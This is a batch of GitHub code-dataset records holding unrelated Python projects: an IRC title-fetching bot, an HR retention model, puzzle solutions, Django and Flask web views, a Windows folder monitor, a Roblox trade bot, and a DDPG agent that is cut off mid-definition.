html\nimport logging\nimport re\n\nimport requests\n\nfrom chitanda.config import config\nfrom chitanda.listeners import IRCListener\nfrom chitanda.util import trim_message\n\nlogger = logging.getLogger(__name__)\n\nURL_REGEX = re.compile(r\".*(https?:\\/\\/[^ ]+)\")\nTITLE_REGEX = re.compile(r\"(.*?)<\\\\?/title>\")\nLB_REGEX = re.compile(r\"\\r|\\n\")\n\n\ndef setup(bot): # pragma: no cover\n bot.message_handlers.append(title_handler)\n\n\nasync def title_handler(message):\n if isinstance(message.listener, IRCListener) and not message.private:\n matches = URL_REGEX.search(message.contents)\n if not matches:\n return\n\n for match in matches.groups():\n title = await _get_title(match)\n if title:\n yield title\n logger.info(\n f\"Title relayed from {match} in {message.target} \"\n f\"from {message.listener}\"\n )\n\n\nasync def _get_title(url):\n try:\n response = await asyncio.get_event_loop().run_in_executor(\n None,\n lambda: requests.get(\n url,\n headers={\"User-Agent\": config[\"user_agent\"]},\n stream=True,\n timeout=5,\n ),\n )\n data = response.raw.read(512000, decode_content=True).decode(\"utf-8\")\n except (requests.RequestException, UnicodeDecodeError):\n return\n\n match = TITLE_REGEX.search(\" \".join(LB_REGEX.split(html.unescape(data))))\n if match:\n return f\"Title: {trim_message(match[1].strip(), length=400)}\"\n","repo_name":"azuline/chitanda","sub_path":"chitanda/modules/titles.py","file_name":"titles.py","file_ext":"py","file_size_in_byte":1586,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"25887558346","text":"# Get the data \nimport pandas as pd\nfilename='TI_TM10 back up.xlsx'\nsheet='Sheet4'\nMain_data = pd.read_excel(filename,sheetname=sheet,header=0)\n\n# Split the data into Training and Test set\nsplit1 = 10.0\nsplit2 = 0.0\nfrom sklearn.cross_validation import train_test_split\nfrom __future__ import division\nwhile True: \n Main_data_train, Main_data_test = train_test_split(Main_data,test_size=0.25)\n\n Split_train= Main_data_train['Status'].value_counts()\n Split_test= Main_data_test['Status'].value_counts()\n \n split1 = Split_train[1]/(Split_train[1]+Split_train[0])\n split2 = Split_test[1]/(Split_test[1]+Split_test[0])\n dif= abs(split1-split2)*100 \n \n if dif<1:\n break\n else:\n continue\n \n# Get features and labels\nimport numpy as np\ny = Main_data_train[[\"Status\"]]\ny_train=np.ravel(y)\ncolsToDrop = ['Emplid','Name','Status']\nX_train = Main_data_train.drop(colsToDrop, axis=1)\n\ny2 = Main_data_test[[\"Status\"]]\ny_test=np.ravel(y2)\nX_test = Main_data_test.drop(colsToDrop, axis=1)\n\n# Training and cross validation \nfrom sklearn.cross_validation import cross_val_score\nfrom sklearn.ensemble import RandomForestClassifier \n\ndef rf_param(): \n\talist=[] \n\tfor i in range(100,900,100): \n\t\trf=RandomForestClassifier(n_estimators=i) \n\t\troc_auc=cross_val_score(rf,X_train,y_train,cv=10,scoring=\"roc_auc\") \n\t\tmean_roc_auc=np.mean(roc_auc) \n\t\tadict={i:mean_roc_auc} \n\t\talist.append(adict) \n\t\tcheck={k:v for d in alist for k,v in d.items()} \n\t\tmax1=max(check.values()) \n\t\tkey=[k for k,v in check.items() if v==max1] \n\t\tvalue=key[0] \n\treturn value \n\n# Fitting and predicting \nrf1=RandomForestClassifier(n_estimators=rf_param()) \nrf1.fit(X_train,y_train) \ny_pred=rf1.predict(X_test) \n\n# Cross validation with test set\nfrom sklearn.metrics import roc_auc_score\nroc_auc_score(y_test, y_pred)\n\n# Fitting on current data and predicting risks\nrf1=RandomForestClassifier(n_estimators=rf_param()) \nrf1.fit(X_train,y_train) \ny_pred=rf1.predict(X_test) \n\nPrediction=pd.DataFrame(y_pred) \nPrediction.columns=[\"Risk_flag\"]\n","repo_name":"pankaj077/TI_work","sub_path":"Retention/Retention_Code_Final1.py","file_name":"Retention_Code_Final1.py","file_ext":"py","file_size_in_byte":2045,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"40806989683","text":"import math\r\nd = {0:[97, 81, 57, 57, 91, 61],1:[88, 62, 68, 90],2:[74, 87],3:[53, 81, 60, 87, 90, 99, 75],4:[57],5:[54, 84, 91, 55, 59, 72, 75, 70],6:[95, 79, 79, 68, 78],7:[61, 97, 67]}\r\nl = [0,0,0,0,0,0,0,0]\r\nfor i in range(20):\r\n d[0] = list(map(lambda x: math.floor((x*7)/3),d[0]))\r\n for item in d[0]:\r\n if item%11==0:\r\n d[5].append(item)\r\n else:\r\n d[6].append(item)\r\n \r\n l[0]+=1\r\n d[0] = []\r\n # print(d)\r\n # print(l)\r\n d[1] = list(map(lambda x: math.floor((x*17)/3),d[1]))\r\n for item in d[1]:\r\n if item%19==0:\r\n d[4].append(item)\r\n else:\r\n d[2].append(item)\r\n \r\n l[1]+=1\r\n d[1] = []\r\n # print(d)\r\n # print(l)\r\n d[2] = list(map(lambda x: math.floor((x+2)/3),d[2]))\r\n for item in d[2]:\r\n if item%5==0:\r\n d[7].append(item)\r\n else:\r\n d[4].append(item)\r\n \r\n l[2]+=1\r\n d[2] = []\r\n # print(d)\r\n # print(l)\r\n d[3] = list(map(lambda x: math.floor((x+1)/3),d[3]))\r\n for item in d[3]:\r\n if item%2==0:\r\n d[2].append(item)\r\n else:\r\n d[1].append(item)\r\n \r\n l[3]+=1\r\n d[3] = []\r\n # print(d)\r\n # print(l)\r\n d[4] = list(map(lambda x: math.floor((x+6)/3),d[4]))\r\n for item in d[4]:\r\n if item%13==0:\r\n d[7].append(item)\r\n else:\r\n d[0].append(item)\r\n \r\n l[4]+=1\r\n d[4] = []\r\n # print(d)\r\n # print(l)\r\n d[5] = list(map(lambda x: math.floor((x*x)/3),d[5]))\r\n for item in d[5]:\r\n if item%7==0:\r\n d[6].append(item)\r\n else:\r\n d[3].append(item)\r\n \r\n l[5]+=1\r\n d[5] = []\r\n # print(d)\r\n # print(l)\r\n d[6] = list(map(lambda x: math.floor((x+3)/3),d[6]))\r\n for item in d[6]:\r\n if item%3==0:\r\n d[1].append(item)\r\n else:\r\n d[3].append(item)\r\n \r\n l[6]+=1\r\n d[6] = []\r\n # print(d)\r\n # print(l)\r\n d[7] = list(map(lambda x: math.floor((x+4)/3),d[7]))\r\n for item in d[7]:\r\n if item%17==0:\r\n d[0].append(item)\r\n else:\r\n d[5].append(item)\r\n \r\n l[7]+=1\r\n d[7] = []\r\n # print(i)\r\n \r\n # print(d)\r\n # print(l)\r\n\r\n# print(l)\r\nl.sort()\r\n# print(l)\r\nprint(l[-1]*l[-2])\r\n","repo_name":"Kishan-Ved/AdventOfCode2022","sub_path":"day11_part1.py","file_name":"day11_part1.py","file_ext":"py","file_size_in_byte":2355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"21559875711","text":"def pop(arr):\n return arr[1:]\n\nclass task:\n def __init__(self, time):\n self.jobNumber = 0\n self.fullTime = time\n self.current = 0\n\n def ager(self):\n self.current += 1\n if self.fullTime == self.current:\n self.current = 0\n ret = self.jobNumber\n self.jobNumber = 0\n return ret\n def isReady(self):\n return True if self.jobNumber == 0 else False\n\n def assign(self, jobNumber):\n self.current = 0\n self.jobNumber = jobNumber\n\n\ndef getCoreNumber(n, cores):\n answer = 0\n tasker = []\n for j in cores:\n tasker.append(task(time=j))\n\n tasks = range(1, n+1)\n\n while tasks.__len__() > 0 :\n # aging\n for core in tasker:\n core.ager()\n\n # give task\n for core in tasker:\n if core.isReady():\n core.assign(pop(tasks))\n if tasks.__len__() == 0:\n return tasker.index(core)+1\n\n return answer\n\n\n\nprint(getCoreNumber(6, [1, 2, 3]))\n","repo_name":"moonchanyong/python-lib","sub_path":"ps/caesar.py","file_name":"caesar.py","file_ext":"py","file_size_in_byte":1037,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"24960955689","text":"from django.shortcuts import render, redirect, get_object_or_404\nfrom django.http import HttpResponse\nfrom django.http import JsonResponse\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth import authenticate, login, logout\n\nfrom .models import User, Employee, Department\nfrom .forms import EmployeeForm, UserForm, MyUserCreationForm\n\n# Create your views here.\n\ndef loginUser(request):\n # page = 'login'\n if request.user.is_authenticated:\n return redirect('home')\n \n if request.method == 'POST':\n email = request.POST.get('email').lower()\n password = request.POST.get('password')\n \n try:\n user = User.objects.get(email=email)\n except:\n messages.error(request, 'User Does Not Exist!')\n \n user = authenticate(request, email=email, password=password)\n \n if user is not None:\n login(request, user)\n return redirect('home')\n else:\n messages.error(request, 'Username or Password Does Not Exist!')\n \n context = {}\n return render(request, 'base/auth/login.html', context)\n\n@login_required(login_url='login')\ndef home(request):\n context = {}\n return render(request, 'base/home.html', context)\n\n@login_required(login_url='login')\ndef employees(request):\n employees = Employee.objects.all()\n context = {'employees': employees}\n return render(request, 'base/employees.html', context)\n\n@login_required(login_url='login')\ndef addEmployee(request):\n form = EmployeeForm()\n departments = Department.objects.all()\n if request.method == 'POST':\n form = EmployeeForm(data=request.POST)\n if form.is_valid():\n employee = form.save(commit=False)\n employee.email = employee.email.lower()\n # You can check if the data is saved successfully here\n try:\n employee.save()\n messages.success(request, 'User added successfully')\n return redirect('employees')\n except Exception as e:\n messages.error(request, f'An error occurred during registration: {str(e)}')\n else:\n messages.error(request, 'An error occurred during registration')\n\n context = {'form': form, 'departments': departments}\n return render(request, 'base/add-employee.html', context)\n\n@login_required(login_url='login')\ndef registerUser(request):\n form = EmployeeForm\n if request.method == 'POST':\n form = EmployeeForm(data=request.POST)\n if form.is_valid():\n employee = form.save(commit=False)\n employee.email = employee.email.lower()\n employee.save()\n return redirect('home')\n else:\n messages.error(request, 'An Error Occured During registration')\n \n context = {'form' : form}\n return render(request, 'base/login_register.html', context)\n\n@login_required(login_url='login')\ndef userProfile(request ):\n context = {}\n return render(request, 'base/profile.html', context)\n\n# def users(request):\n# userForm = MyUserCreationForm()\n# users = User.objects.all()\n \n# if request.method == 'POST':\n# userForm = MyUserCreationForm(data=request.POST)\n# if userForm.is_valid():\n# user = userForm.save(commit=False)\n# user.username = user.username.lower()\n# # Modify other user fields here if needed\n# user.save()\n# messages.success(request, 'User registered successfully')\n# return redirect('users')\n# else:\n# # Include form errors in the context to display them in the template\n# context = {'users': users, 'userForm': userForm}\n# return render(request, 'base/users/index.html', context)\n# # Add a return statement here to return an HttpResponse object\n# context = {'users': users, 'userForm': userForm}\n# return render(request, 'base/users/index.html', context)\n@login_required(login_url='login')\ndef users(request):\n users = User.objects.all()\n userForm = MyUserCreationForm()\n if request.method == 'POST':\n userForm = MyUserCreationForm(request.POST, request.FILES)\n if userForm.is_valid():\n user = userForm.save()\n return JsonResponse({'message': 'User created successfully', 'user_id': user.id})\n else:\n errors = userForm.errors\n return JsonResponse({'message': 'Form validation failed', 'errors': errors}, status=400)\n else:\n context = {'users': users, 'userForm': userForm}\n return render(request, 'base/users/index.html', context)\n\n@login_required(login_url='login')\ndef editUser(request):\n if request.method == 'GET':\n user_id = request.GET.get('id')\n user = get_object_or_404(User, id=user_id)\n data = {'id': user.id, 'username': user.username, 'name': user.name, 'email': user.email }\n return JsonResponse(data)\n\n@login_required(login_url='login')\ndef updateUser(request):\n user_id = request.POST.get('id')\n user = get_object_or_404(User, id=user_id)\n\n # Update employee data based on form submission\n user.name = request.POST.get('name')\n user.username = request.POST.get('username')\n user.email = request.POST.get('email')\n # Update other fields similarly\n user.save()\n\n return JsonResponse({'message': 'User updated successfully'})\n\ndef logoutUser(request):\n logout(request)\n return redirect('login')\n\ndef deleteItem(request, pk):\n try:\n item = User.objects.get(id=pk)\n except User.DoesNotExist:\n return HttpResponse('Item not found', status=404)\n \n # Check if the current user is authorized to delete the employee\n if request.user != item.user:\n return HttpResponse('You are not allowed here!!', status=403)\n \n if request.method == 'POST':\n item.delete()\n return redirect('employees') \n \n context = {\n 'obj': item\n }\n return render(request, 'base/delete.html', context)\n\n@login_required(login_url='login')\ndef delete_user(request, pk):\n item = get_object_or_404(User, pk=pk)\n item.delete()\n return JsonResponse({'message': 'User deleted successfully.'})\n","repo_name":"Ancentian/python-django-devops","sub_path":"base/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"4999127375","text":"import os, re\n\nfather_dir = 'C:/halm/PVCTData/2018' # 需要开头\nwatching_path_list = []\nfor root, dirs, files in os.walk(father_dir, topdown=False):\n # for name in files:\n # print('文件路径: ', os.path.join(root, name))\n for name in dirs:\n sub = os.path.join(root, name) # 输出所有father_dir下的目录\n last_dir = sub.split('\\\\')[-1] # 输出所有路径下最后一个文件夹名\n\n # 需要结尾\n if re.search('ng', last_dir, re.I): # 匹配最后一个目录名是否包含‘NG’字段(不分大小写)\n watching_path_list.append(sub)\n\nprint(watching_path_list)\n\nimport win32file\nimport tempfile\nimport threading\nimport win32con\n\ndirs = [\"C:\\\\WINDOWS\\\\TEMP\", tempfile.gettempdir()]\n\n\ndef start_monitor(path_to_watch):\n h_directory = win32file.CreateFile(path_to_watch, win32con.GENERIC_READ,\n win32con.FILE_SHARE_DELETE | win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE,\n None, win32con.OPEN_EXISTING, win32con.FILE_FLAG_BACKUP_SEMANTICS, None)\n while True:\n try:\n results = win32file.ReadDirectoryChangesW(h_directory, 1024, True,\n win32con.FILE_NOTIFY_CHANGE_FILE_NAME | win32con.FILE_NOTIFY_CHANGE_DIR_NAME | win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES | win32con.FILE_NOTIFY_CHANGE_SIZE | win32con.FILE_NOTIFY_CHANGE_LAST_WRITE | win32con.FILE_NOTIFY_CHANGE_SECURITY,\n None)\n for action, filename in results:\n print(action)\n print(filename)\n except:\n pass\n\n\nfor path in dirs:\n monitor_thread = threading.Thread(target=start_monitor, args=(path,))\n monitor_thread.start()\n","repo_name":"wk5800/detection","sub_path":"os.walk的使用.py","file_name":"os.walk的使用.py","file_ext":"py","file_size_in_byte":1817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"22905117687","text":"## My solutions to the 150 Challenges by Nichola Lacey\n## Get this wonderful book to know with the explanations and quick tips.\n\n## 046 Ask the user to enter a number. Keep asking until they enter a value over 5 and then display the message “The last number you entered was a [number]” and stop the program.\n\nnum = 0\nwhile num <= 5:\n\tnum = int(input(\"Please enter an integer\"))\nprint(f\"The last number you have entered is {num}\")\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"mshsarker/PPP","sub_path":"While Loop/046.py","file_name":"046.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"24139413500","text":"from models import User, Expense, UserExpense, UserGroups\nfrom __init__ import db\nfrom flask_cors import CORS, cross_origin\nfrom flask import Blueprint, make_response, request, Response\nfrom auth import check_token\nimport json\nimport heapq\n\nexpense_logs = Blueprint('expense_logs', __name__)\nCORS(expense_logs)\n\ndef get_expense_logs(grp_id):\n # print(\"expense1\")\n all_logs=[]\n all_expenses= Expense.query.filter_by(group= grp_id)\n\n # print(\"expense2\")\n for expense in all_expenses:\n\n # print(\"expense3\")\n print(expense)\n log={\n 'id': expense.id,\n 'amount': expense.amount,\n 'description': expense.description\n }\n paid_by_id= expense.paid_by\n # print(paid_by_id)\n user= User.query.filter_by(id= paid_by_id).first()\n # print(user)\n user_details= {\n 'name' : user.name,\n 'username': user.username,\n 'email': user.email\n }\n\n log['paid_by']= user_details\n\n # print(log)\n\n paid_for_all= UserExpense.query.filter_by(expense= expense.id).all()\n\n # print(paid_for_all)\n\n paid_for_list=[]\n\n for paid_for in paid_for_all:\n user= User.query.filter_by(id= paid_for.user).first()\n\n user_details= {\n # 'id': user.id,\n 'name' : user.name,\n 'username': user.username,\n 'email': user.email\n }\n\n paid_for_list.append(user_details)\n # print(paid_for_list)\n\n log['paid_for']= paid_for_list\n\n # print(log)\n\n all_logs.append(log)\n # print(all_logs)\n\n return all_logs\n\ndef get_user_final_log(grp_id, user_id):\n\n # print(\"expense1\")\n all_user_groups= UserGroups.query.filter_by(group= grp_id).all()\n users=[]\n for user_group in all_user_groups:\n users.append(user_group.user)\n \n paid = []\n had_to_pay =[]\n\n # print(\"expense2\")\n\n for user in users:\n\n # print(\"expense3\")\n all_expenses_paid= Expense.query.filter_by(group= grp_id, paid_by= user).all()\n total=0\n for expense in all_expenses_paid:\n total= total+expense.amount\n paid.append(total)\n\n all_expenses = Expense.query.filter_by(group= grp_id)\n\n for user in users:\n # print(user)\n # print(\"expense4\")\n total=0\n for expense in all_expenses:\n # print(\"expense5\")\n is_involved = UserExpense.query.filter_by(expense=expense.id, user= user).first() is not None\n\n # print(is_involved)\n\n # print(\"expense6\")\n\n if is_involved:\n # print(\"expense7\")\n count_involved = len(UserExpense.query.filter_by(expense=expense.id).all())\n # print(\"expense9\")\n \n total =total + (expense.amount)/count_involved\n # print(\"expense8\")\n \n had_to_pay.append(total)\n \n # print(users)\n # print(paid)\n # print(had_to_pay)\n\n\n q_owe = []\n q_is_owed = []\n # A = (3, 5, \"Element A\") # our first item, a three-tuple with two priorities and a value\n # B = (3, 1, \"Element B\") # a second item\n\n # heapq.heappush(q, A) # push the items into the queue\n # heapq.heappush(q, B)\n\n # print(heapq.heappop(q)[2]) # pop the highest priority item and print its value\n\n length= len(users)\n\n for i in range(length):\n # print(i)\n # print(paid[i])\n # print(had_to_pay[i])\n # print(float(paid[i])>had_to_pay[i])\n # print(float(paid[i])<had_to_pay[i])\n if(float(paid[i])>had_to_pay[i]):\n a= (-1*(paid[i]-had_to_pay[i]) , users[i])\n heapq.heappush(q_is_owed,a )\n\n elif (float(paid[i])<had_to_pay[i]):\n a= (-1*(had_to_pay[i]-paid[i]), users[i])\n heapq.heappush(q_owe,a)\n\n # print(q_is_owed)\n # print(q_owe)\n\n \n # list= [(to, from, amount)]\n\n list=[]\n\n if len(q_is_owed) == 0:\n return list\n \n # i=0\n\n while True:\n\n # i=i+1\n\n # if i==20:\n # break\n \n if len(q_is_owed) == 0:\n return list\n\n receive= heapq.heappop(q_is_owed)\n send= heapq.heappop(q_owe)\n\n if receive[0] == 0 or send[0]==0:\n break\n # print(send[0], receive[0])\n # print()\n\n # print(\"max\", max(send[0],receive[0]))\n\n a= (receive[1], send[1], -1*max(send[0],receive[0]))\n # print(\"a\", a)\n list.append(a)\n\n a= (min(0,receive[0]-send[0]) , receive[1])\n # print(a)\n heapq.heappush(q_is_owed,a )\n \n a= (min(0, send[0]-receive[0]) , send[1])\n # print(a)\n heapq.heappush(q_owe,a)\n \n # print(\"list\", a)\n newlist=[]\n i=0\n\n for transaction in list:\n \n to_= transaction[0]\n from_= transaction[1]\n amount_= transaction[2]\n\n to1= User.query.filter_by(id= to_).first().username\n\n from1= User.query.filter_by(id= from_).first().username\n\n newlist.append({\n \"id\" : i,\n \"to\": to1,\n \"from\": from1,\n \"amount\": amount_\n })\n i=i+1\n\n\n\n return newlist\n\n\n@expense_logs.route('/expense_logs/create/<int:id>', methods=['OPTIONS', 'POST'])\n@cross_origin()\ndef create_expense_log(id= None):\n\n print(id)\n\n if request.method == \"OPTIONS\": # CORS preflight\n return _build_cors_preflight_response() \n\n print(\"creating expense log\")\n headers= request.headers\n\n if request.method == \"OPTIONS\": # CORS preflight\n return _build_cors_preflight_response() \n try:\n data_dict= json.loads(request.data.decode('utf-8'))\n description= data_dict[\"description\"]\n amount= data_dict[\"amount\"]\n user= check_token(headers.get(\"access_token\"))\n paid_by= User.query.filter_by(username= user).first().id\n if UserGroups.query.filter_by(user=paid_by, group= id).first() is None:\n print(\"you are not in this group\")\n raise\n group_id= id\n new_expense= Expense(group= group_id, amount= amount, description= description, paid_by= paid_by)\n db.session.add(new_expense)\n db.session.commit()\n\n paid_for= data_dict[\"paid_for\"]\n\n for person in paid_for:\n if UserGroups.query.filter_by(user=person, group= id).first() is None:\n print(\"The member you are paying for is not in this group\")\n raise\n user_expense= UserExpense(expense = new_expense.id, user = person)\n db.session.add(user_expense)\n\n db.session.commit()\n\n response = Response(\"created\" , status=200)\n except:\n response = Response(\"not created\",status=404)\n\n # response.headers.add('Access-Control-Allow-Origin', '*')\n response.headers.add('Access-Control-Allow-Methods', 'GET,PUT,POST,DELETE,OPTIONS')\n\n return _corsify_actual_response(response)\n \n\ndef _build_cors_preflight_response():\n response = make_response()\n response.headers.add(\"Access-Control-Allow-Origin\", \"*\")\n response.headers.add('Access-Control-Allow-Headers', \"*\")\n response.headers.add('Access-Control-Allow-Methods', \"*\")\n return response\n\ndef _corsify_actual_response(response):\n # response.headers.add('Access-Control-Allow-Origin', '*')\n response.headers.add('Access-Control-Allow-Methods', 'GET,PUT,POST,DELETE,OPTIONS')\n response.headers.add(\"Access-Control-Expose-Headers\",\"Authorization\")\n return response\n","repo_name":"Tanveen0/Tripwise","sub_path":"Backend/api/expense_logs.py","file_name":"expense_logs.py","file_ext":"py","file_size_in_byte":7563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"31966971802","text":"from roblox import roblox\n\nparams = roblox.Settings()\nparams.xcsrf_refresh = 120\n\nclient = roblox.Client('./token.txt', parameters=params)\n\ndef on_ready():\n print(client.user)\n\ndef on_trade_recieved(trade):\n total_values = trade.total_values()\n \n # your offer is less than their offer\n if total_values['offering']['offer_value'] > total_values['requesting']['request_value']:\n client.accept_trade(trade)\n else:\n # calculate loss threshold\n if total_values['offering']['offer_values']-total_values['requesting']['request_value'] in range(100, 500):\n # get self inventory\n my_inventory = roblox.Inventory(client.id)\n \n # counter trade\n inventory = roblox.Inventory(trade.user_id)\n request_items = []\n for item in inventory:\n total = sum([x.value for x in request_items])\n if total+item.value < my_inventory[0].value:\n request_items += item\n \n client.send_trade(trade.user_id,\n [my_inventory[0].id],\n [x.id for x in request_items[:4]])\n else:\n client.decline_trade(trade)\n\ndef on_trade_completed(trade):\n total_values = trade.total_values()\n rap_win = total_values['offering']['offer_rap']-total_values['requesting']['request_rap']\n value_win = total_values['offering']['offer_value']-total_values['requesting']['request_value']\n print('Trade completed! Yay!')\n print(f'RAP win: {rap_win}\\nValue win: {value_win}')\n\nif __name__ == '__main__':\n client.run()\n","repo_name":"wa1ker38552/RoTrade-PY","sub_path":"RoTrade/Examples/trade bot.py","file_name":"trade bot.py","file_ext":"py","file_size_in_byte":1499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"9576245700","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy import ndimage\n\nimport numpy as np\nimport matplotlib.pyplot as plt \nimport torch as T \nimport torch.nn as nn \nimport torch.nn.functional as F \nimport torch.optim as optim \nimport os \n\nMAX_ACTION = +np.pi \nMIN_ACTION = -np.pi\n\nclass ReplayBuffer(): \n\n def __init__(self, max_size, input_shape, n_actions): \n \n self.mem_size = max_size \n \n self.mem_cntr = 0 \n \n self.state_memory = np.zeros((self.mem_size, input_shape)) \n \n self.new_state_memory = np.zeros((self.mem_size, input_shape)) \n \n self.action_memory = np.zeros((self.mem_size, n_actions)) \n \n self.reward_memory = np.zeros(self.mem_size) \n \n self.terminal_memory = np.zeros(self.mem_size, dtype = np.bool)\n \n def store_transition(self, state, action, reward, state_, done): \n \n index = self.mem_cntr%self.mem_size \n \n self.state_memory[index] = state\n \n self.new_state_memory[index] = state_ \n \n self.terminal_memory[index] = done \n \n self.reward_memory[index] = reward \n \n self.action_memory[index] = action \n \n self.mem_cntr +=1 \n \n def sample_buffer(self, batch_size): \n \n max_mem = min(self.mem_cntr, self.mem_size) \n \n batch = np.random.choice(max_mem, batch_size) \n \n states = self.state_memory[batch] \n \n states_ = self.new_state_memory[batch] \n \n actions = self.action_memory[batch] \n \n rewards = self.reward_memory[batch] \n \n dones = self.terminal_memory[batch] \n \n return states, actions, rewards, states_, dones \n \n \n \nclass CriticNetwork(nn.Module): \n \n def __init__(self, input_dims, fc1_dims, fc2_dims, n_actions, name= None, chkpt_dir = \"save_m_2\"): \n \n super(CriticNetwork, self).__init__ ()\n \n self.name = name\n \n if name is not None: \n \n if not os.path.exists(chkpt_dir): \n \n os.makedirs(chkpt_dir) \n \n self.checkpoint_file= os.path.join(chkpt_dir,name +'_ddpg') \n \n \n self.input_dims = input_dims \n \n self.fc1_dims = fc1_dims \n \n self.fc2_dims = fc2_dims \n \n self.n_actions = n_actions \n \n self.name = name \n \n #self.checkpoint_dir = chkpt_dir \n \n #self.checkpoint_file = os.path.join(self.checkpoint_dir, name+'_td3') \n \n self.fc1 = nn.Linear(self.input_dims+n_actions, self.fc1_dims) \n \n self.fc2 = nn.Linear(self.fc1_dims+n_actions, self.fc2_dims) \n \n self.q1 = nn.Linear(self.fc2_dims,1) #scalar value of the critic (state-action value) \n \n \n \n \n \n def forward(self, state, action): \n \n q1_action_value = self.fc1(T.cat([state,action],dim=1))\n \n q1_action_value = F.relu(q1_action_value) \n \n #q1_action_value = self.fc2(q1_action_value)\n \n q1_action_value = self.fc2(T.cat([q1_action_value,action],dim=1))\n \n q1_action_value = F.relu(q1_action_value) \n \n q1 = self.q1(q1_action_value) \n \n return q1 \n \n def init_weights(self): \n \n f1 = 1 / np.sqrt(self.fc1.weight.data.size()[0])\n \n f2 = 1 / np.sqrt(self.fc2.weight.data.size()[0])\n \n f3 = 0.003\n \n T.nn.init.uniform_(self.fc1.weight.data, -f1, f1)\n \n T.nn.init.uniform_(self.fc1.bias.data, -f1, f1)\n \n T.nn.init.uniform_(self.fc2.weight.data, -f2, f2)\n\n T.nn.init.uniform_(self.fc2.bias.data, -f2, f2)\n \n T.nn.init.uniform_(self.q1.weight.data, -f3, f3)\n \n T.nn.init.uniform_(self.q1.bias.data, -f3, f3)\n \n def save_checkpoint(self): \n \n if self.name is not None:\n \n #print(\"...saving...\") \n \n T.save(self.state_dict(),self.checkpoint_file)\n \n \n def load_checkpoint(self): \n \n if self.name is not None:\n \n #print(\"..loading...\") \n \n self.load_state_dict(T.load(self.checkpoint_file)) \n \n \nclass PosLinear(nn.Module): \n def __init__(self, in_dim, out_dim): \n super(PosLinear, self).__init__() \n self.weight = nn.Parameter(T.randn((in_dim,out_dim)))\n #self.bias = nn.Parameter(T.zeros((out_dim,)))\n \n def forward(self, x): \n return T.matmul(x,T.abs(self.weight)) #+self.bias \n \n \nclass ActorNetwork(nn.Module): \n \n def __init__(self, input_dims, fc1_dims, fc2_dims, n_actions, name=None, chkpt_dir = \"save_m_2\"): \n \n super(ActorNetwork, self).__init__ ()\n \n self.name = name\n \n if name is not None: \n \n if not os.path.exists(chkpt_dir): \n \n os.makedirs(chkpt_dir) \n \n self.checkpoint_file= os.path.join(chkpt_dir,name +'_ddpg') \n \n self.input_dims = input_dims \n \n # self.fc1_dims = fc1_dims \n \n # self.fc2_dims = fc2_dims \n \n self.n_actions = n_actions \n \n self.name = name \n \n #self.checkpoint_dir = chkpt_dir \n \n #self.checkpoint_file = os.path.join(self.checkpoint_dir, name+'_td3') \n \n #self.fc1 = nn.Linear(self.input_dims[0]+n_actions, self.fc1_dims) \n # self.fc1 = nn.Linear(self.input_dims, self.fc1_dims) \n \n # self.fc2 = nn.Linear(self.fc1_dims, self.fc2_dims) \n \n self.mu = PosLinear(self.input_dims, self.n_actions) \n \n #self.mu = nn.Linear(self.fc2_dims, self.n_actions)\n \n \n def forward(self, state): \n \n # prob = self.fc1(state)\n \n # prob= F.relu(prob) \n \n \n #prob= self.fc2(prob)\n \n #prob = F.relu(prob) \n \n \n mu = (self.mu(state))*MAX_ACTION\n \n return mu\n \n def init_weights(self): \n \n # f1 = 1 / np.sqrt(self.fc1.weight.data.size()[0])\n \n # f2 = 1 / np.sqrt(self.fc2.weight.data.size()[0])\n \n # T.nn.init.uniform_(self.fc1.weight.data, -f1, f1)\n \n # T.nn.init.uniform_(self.fc1.bias.data, -f1, f1)\n \n # T.nn.init.uniform_(self.fc2.weight.data, -f2, f2)\n\n # T.nn.init.uniform_(self.fc2.bias.data, -f2, f2)\n \n f3 = 0.006 \n \n T.nn.init.uniform_(self.mu.weight.data, 0, f3)\n \n # T.nn.init.uniform_(self.mu.bias.data, -0.003,0.003)\n \n def save_checkpoint(self): \n \n if self.name is not None:\n \n #print(\"...saving...\") \n \n T.save(self.state_dict(),self.checkpoint_file)\n \n \n def load_checkpoint(self): \n \n if self.name is not None:\n \n # print(\"..loading...\") \n \n self.load_state_dict(T.load(self.checkpoint_file)) \n \n \n \nclass Agent: \n \n def __init__(self,input_dim, critic_lr=0.0005,actor_lr=0.0005, tau=0.005, gamma = 1,target_noise=0.2, update_actor_interval = 2, warmup = 1000,max_size = 1000000, layer1_size= 400, layer2_size= 300, batch_size = 100, noise = 0.2,chkpt_dir = \"model\",device=None):\n \n self.input_dims = input_dim\n \n self.n_actions = 1\n \n self.gamma = gamma \n \n self.tau = tau \n \n self.max_action = MAX_ACTION\n \n self.min_action = MIN_ACTION\n \n self.memory = ReplayBuffer(max_size, self.input_dims, self.n_actions) \n \n self.batch_size = batch_size \n \n self.learn_step_cntr = 0 \n \n self.time_step = 0 \n \n self.warmup = warmup \n \n if device is not None: \n \n self.device = device\n \n else:\n \n self.device = T.device('cuda:0' if T.cuda.is_available() else 'cpu') \n # print(self.device)\n \n self.update_actor_iter = update_actor_interval\n #(self, input_dims, fc1_dims, fc2_dims, n_actions, name=None, chkpt_dir = \"save_m_2\"): \n \n self.actor = ActorNetwork(self.input_dims, layer1_size, layer2_size, self.n_actions, name = 